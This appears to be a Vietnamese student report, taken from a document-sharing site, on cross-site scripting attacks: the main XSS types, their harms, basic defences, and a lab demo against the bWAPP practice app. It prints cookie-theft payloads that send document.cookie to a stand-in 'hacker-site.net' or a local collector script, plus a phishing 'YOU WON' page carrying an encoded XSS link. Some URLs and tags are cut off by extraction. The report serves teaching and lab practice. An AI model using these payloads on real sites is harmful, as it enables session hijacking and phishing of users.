Tải bản đầy đủ (.docx) (29 trang)

Báo cáo triển khai thực nghiệm tấn công XSS và cách thức phòng chống

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.65 MB, 29 trang )

Đề 9: Tìm hiểu về kỹ thuật tiến cơng XSS:
phân tích cách thức thực hiện, tác hại và
cách thức phịng chống dạng tiến công
này (triển khai thực nghiệm)
Mục lục

I. Tấn cơng XSS là gì ?
1. Khái niệm
Cross - Site Scripting hay còn được viết tắt là XSS là một kỹ thuật tấn công
bằng cách chèn vào những website động (ASP, PHP, CGI,…) những thẻ HTML
hay những đoạn mã script nguy hiểm có thể gây hại cho những người sử dụng


khác. Trong đó những đoạn mà nguy hiểm thường được viết bằng các Client
Site Script như: JavaScript, Jscript, DHTML và cũng có thể là các thẻ HTML.
Tuy nhiên, phổ biến nhất vẫn là bằng Javascript, chủ yếu là bởi vì Javascript là
nền tảng cho hầu hết các trải nghiệm duyệt web của người dùng trên internet.
XSS là một trong những lỗ hổng ứng dụng web phổ biến nhất và xảy ra khi một
ứng dụng web sử dụng đầu vào từ người dùng khơng được xác thực hoặc khơng
được mã hóa trong đầu ra mà nó tạo ra.
Bằng cách tận dụng XSS, kẻ tấn công không nhắm trực tiếp vào nạn nhân. Thay
vào đó, kẻ tấn cơng sẽ khai thác lỗ hổng trong trang web hoặc ứng dụng web
mà nạn nhân sẽ truy cập.
2. Đối tượng bị tấn cơng
Có thể là cá nhân, doanh nghiệp, các tổ chức chính phủ hoặc phi chính phủ, cơ
quan nhà nước, thậm chí đối tượng có thể là cả một quốc gia. Tuy nhiên, đối
tượng phổ biến nhất của các cuộc tấn công là các cá nhân, doanh nghiệp. Đơn
giản vì mục tiêu chính của những kẻ tấn cơng là vì lợi nhuận và kinh tế.

3. Mục đích tấn cơng



Mục đích chính của cuộc tấn cơng này là ăn cắp dữ liệu nhận dạng của người
dùng như: cookies, session tokens và các thông tin khác. Trong hầu hết các
trường hợp, cuộc tấn công này đang được sử dụng để ăn cắp cookie của người
khác. Như chúng ta biết, cookie giúp chúng ta đăng nhập tự động. Do đó với
cookie bị đánh cắp, chúng có thể đăng nhập bằng các thông tin nhận dạng khác.
Và đây là một trong những lý do, tại sao cuộc tấn công này được coi là một
trong những cuộc tấn công nguy hiểm nhất.
XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây:


Truy cập thông tin nhạy cảm hoặc bị hạn chế.



Ăn cắp tiền (giao dịch ngân hàng, mua hàng online…).



Theo dõi thói quen lướt web của người dùng.



Thay đổi tính năng của trình duyệt



Bơi nhọ danh tiếng của một cá nhân hay công ty.




Hủy hoại ứng dụng web,



Tấn cơng từ chối dịch vụ…

Bên cạnh những mục đích phổ biến như trục lợi phi pháp, thì cịn tồn tại một
số mục đích khác phức tạp và nguy hiểm hơn: cạnh tranh không lành mạnh


giữa các doanh nghiệp, tấn công an ninh hoặc kinh tế của một quốc gia, tấn
công đánh sập một tổ chức tơn giáo, v.v.
Ngồi ra, một số hacker tấn cơng mạng chỉ để mua vui, thử sức, hoặc tò mò
muốn khám phá các vấn đề về an ninh mạng.

II. Cách thức hoạt động của dạng tấn công XSS
Tấn công Cross Site Scripting nghĩa là gửi và chèn lệnh và script độc hại, những
mã độc này thường được viết với ngôn ngữ lập trình phía client như Javascript,
HTML, VBScript, Flash… Tuy nhiên, cách tấn công này thông thường sử dụng
Javascript và HTML. Cách tấn cơng này có thể được thực hiện theo nhiều cách
khác nhau, phụ thuộc vào loại tấn công XSS, những mã độc có thể được phản
chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và được
chạy mỗi khi người dùng gọi chức năng thích hợp. Ngun nhân chính của loại tấn
cơng này là xác thực đầu vào dữ liệu người dùng khơng phù hợp, dữ liệu độc hại từ
đầu vào có thể xâm nhập vào dữ liệu đầu ra. Mã độc có thể nhập một script và
được chèn vào mã nguồn của website. Khi đó trình duyệt khơng thể biết mã thực
thi có phải độc hại hay khơng. Do đó mã độc hại có thể đang được thực thi trên
trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho



người sử dụng. Có một số hình thức tấn cơng XSS có thể xảy ra. Bên dưới là
những hình thức tấn cơng chính của Cross Site Scripting:



Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía
client.



Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân
nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).



Trên các trang web có quảng cáo được hiển thị.



Email độc hại được gửi đến nạn nhân. Tấn công xảy ra khi tin tặc tìm kiếm
những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc hại
được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng
cuối cùng.

III. Các dạng tấn công XSS

1. Reflected XSS
Hay còn được gọi là Non-persistent XSS là một loại XSS phổ biến nhất. Loại
này xuất hiện khi dữ liệu được cung cấp từ một web client nào đó. Hacker khi

muốn tấn cơng thì điều đầu tiên là sẽ phải tìm ra lỗ hỗng bảo mật trên website


bằng cách gắn một đoạn mã test vào web client để web client gửi đến web
server và chờ phản hồi của web server để tìm ra lỗ hổng bảo mật. Hacker tấn
công dựa vào sự thiếu chú ý về việc lọc dữ liệu vào từ URL của webiste.
Kẻ tấn công sử dụng email phishing và các phương pháp social engineering
khác để dụ nạn nhân đưa ra yêu cầu đến máy chủ có chứa payload XSS. Nạn
nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS
không phải là một cuộc tấn công liên tục, nên kẻ tấn cơng phải cung cấp
payload cho mỗi nạn nhân.
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những
cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người
dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên
website. Chi tiết được mô tả qua những bước sau:

1.

Người dùng đăng nhập web và giả sử được gán session:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2.

Bằng cách nào đó, hacker gửi được cho người dùng URL:

/>

Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của
hacker tạo ra


3.

Nạn nhân truy cập đến URL trên

4.

Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn
javascript của hacker)

5.

Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

6.

Đoạn javascript mà hacker tạo ra thực tế như sau:

var i=new Image; i.src=” />Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là
cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Host: hacker-site.net
7.

Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như
session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với
tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.


2. Stored XSS
Hay còn được gọi là persistent XSS. Loại XSS này xảy ra khi dữ liệu do các

hacker cung cấp được lưu trữ trên các máy chủ thông qua một số chức năng trên
website và từ đó về sau thì các dữ liệu này hiển nhiên được hiển thị một cách
bình thường trên các trình duyệt của người dùng mà không cần tới HTML riêng
nữa. Khi người dùng click vào những phần bị gắn mã độc thì đã bị dính XSS.
Khác với Reflected tấn cơng trực tiếp vào một số nạn nhân mà hacker nhắm
đến, Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng
web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở
đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm
lưu trữ dữ liệu của ứng dụng web). Ví dụ như các form góp ý, các comment …
trên các trang web. Với kỹ thuật Stored XSS, hacker không khai thác trực tiếp
mà phải thực hiện tối thiểu qua 2 bước.
1.

Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…)
không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

2.

Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao
tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi
trên trình duyệt người dùng.





Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong q trình tấn cơng.




Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân
truy cập vào URL của mình. Cịn Stored XSS khơng cần phải thực hiện
việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng,
hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân,
việc này là hồn tồn bình thường vì họ khơng hề hay biết dữ liệu mình
truy cập đã bị nhiễm độc.



Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn
công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với
Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi
truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored
XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào
người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi,
và nhiều khả năng là những chức năng này yêu cầu phải xác thực (đăng
nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang
trong phiên làm việc.


Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS
rất nhiều, đối tượng bị ảnh hưởng có thể là tất cả nhưng người sử dụng ứng
dụng web đó. Và nếu nạn nhân có vai trị quản trị thì cịn có nguy cơ bị
chiếm quyền điều khiển web.

3. DOM Based XSS
Là loại tấn công XSS nâng cao, có thể thực hiện được khi tập lệnh phía máy
khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document
Object Model (DOM).
Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt.

Nếu dữ liệu khơng được xử lý chính xác, kẻ tấn cơng có thể đưa ra payload
được lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu
được đọc lại từ DOM.

IV. Các cách thức phòng chống XSS
1. Đối với những người thiết kế và phát triển ứng dụng Web
Những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển
ứng dụng Web cần phải thực hiện vài bước cơ bản sau:


Chỉ chấp nhận những dữ liệu hợp lệ.



Từ chối nhận các dữ liệu hỏng.




Liên tục kiểm tra và thanh lọc dữ liệu



Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script>
hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó như là
một đoạn trích dẫn thơi.



Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related.




Lọc dấu nháy đơn hay kép.



Lọc ký tự Null.



Xóa những kí tự “ > ”, “ < ”

3. Đối với người dùng


Khi chúng ta vào một trang web mới thì ta cần phải cân nhắc khi click vào
các link.



Với email chúng ta cần phải kiểm tra các link hay những hình ảnh quảng cáo
thật kĩ.



Cẩn trọng khi duyệt email, kiểm tra kỹ tên người gửi để phịng tránh lừa đảo.




Tuyệt đối khơng tải các file hoặc nhấp vào đường link không rõ nguồn gốc.



Hạn chế sử dụng các thiết bị ngoại vi (USB, ổ cứng) dùng chung.



Sử dụng một phần mềm diệt Virus uy tín.


V. Triển khai thực nghiệm

1. Các bước thực hiện
*Reflected XSS
Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng
XSS.
Bước 2: Người dùng nhận được 1 liên kết thơng qua email hay trên chính trang
Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra...).
Thơng thường hacker khiến người dùng chú ý bằng những câu kích thích sự tị mò
của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ
bạn ”,”Chúc mừng bạn đã giành được số tiền lớn”...
Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu...) về máy chủ của
hacker.
Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những
thông tin đã đánh cắp vào 1 tập tin.
Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng.



2. Chuẩn bị môi trường


Sử dụng bWAPP để làm môi trường thực hành web security testing.



bWAPP là một buggy web application, miễn phí và hồn tồn phù hợp để thực
hiện khai thác lỗ hổng Web.

1. Cài đặt Xampp


Download:



/>


Setup như bình thường. Mình đặt xampp thẳng vào trong ổ C:\xampp

2. Cài đặt bWAPP


Download bWAPP_latest.zip:



/>




Giải nén và copy toàn bộ thư mục bwapp vào folder htdocs của xampp.

3.Run bWAPP


Run Xampp. Start Apache + MySQL



Gõ vào URL của chrome: http://localhost/bwapp/install.php



Click vào “Here” để install



Vào: http://localhost/bwapp/login.php với account login: bee / bug



Nếu bạn install mà bị báo lỗi là “Access denied for user ‘root’@’localhost’
….” thì bạn cần xem lại file settings.php trong
folder C:\xampp\htdocs\bWAPP\admin.


3. DEMO

*Lấy Cookie từ site có dính lỗi XSS


Khai thác lỗ hổng XSS trên bWAPP



bWAPP ở đây là một ứng dụng WEB, môi trường để thực hành khai thác lỗ
hổng web. Ở đây mình chọn khai thác lỗ hổng XSS-Reflected (GET) level low


Bước 1: Tạo file get.php để đánh cắp cookie người dùng




File này có nhiệm vụ đánh cắp cookie của người dung và ghi vào file cookie.txt



File cookie.txt là 1 file rỗng dùng để lưu trữ tồn bộ thơng tin người dùng gửi
về cho hacker thông qua mệnh lệnh được thực thi từ get.php

Bước 2: Upload các file lên host


Giả sử up 2 file lên http://localhost/PTH


Bước 3: Tiến hành khai thác lỗi XSS



Tạo đoạn mã javascript để đánh cắp cookie người dùng có dạng như sau:

<script>window.open(“http://localhost/PTH/get.php?
cookie=”+document.cookie)</script>


Giả sử site sau là site dính lỗi XSS:




Chèn đoạn mã vào site bằng cách insert đầu vào như sau:

http://localhost/bwapp/xss_get.php?firstname=ipt> window.open(‘http://localhost/PTH/get.php?cook
ie=’+ document.cookie)</script>&lastname=Pham&form=submit




Chèn đoạn mã site dính lỗi XSS vào site html gửi cho người dùng để đánh cắp
cookie phiên đăng nhập của victim:

<html>
<head>
<title>CROSS SITE SCRIPTING</title>
</head>
<body style="background-image: url(' />

CONGRATULATIONS!!!





YOU WON!!!



Click this href="http://localhost/bwapp/xss_get.php?firstname=%3Cscript%3Ewindow.open
%28%22http%3A%2F%2Flocalhost%2FPTH%2Fget.php%3Fcookie%3D
%22%2Bdocument.cookie%29%3C%2Fscript
%3E&lastname=Pham&form=submit
">link</a>
to see your prize


</body>
</html>


Khi gửi file html cho người dùng sẽ hiện như sau:




Chỉ cần người dùng click vào link thì cookie của người dùng sẽ được lưu trong
file cookie.txt trên host của hacker


×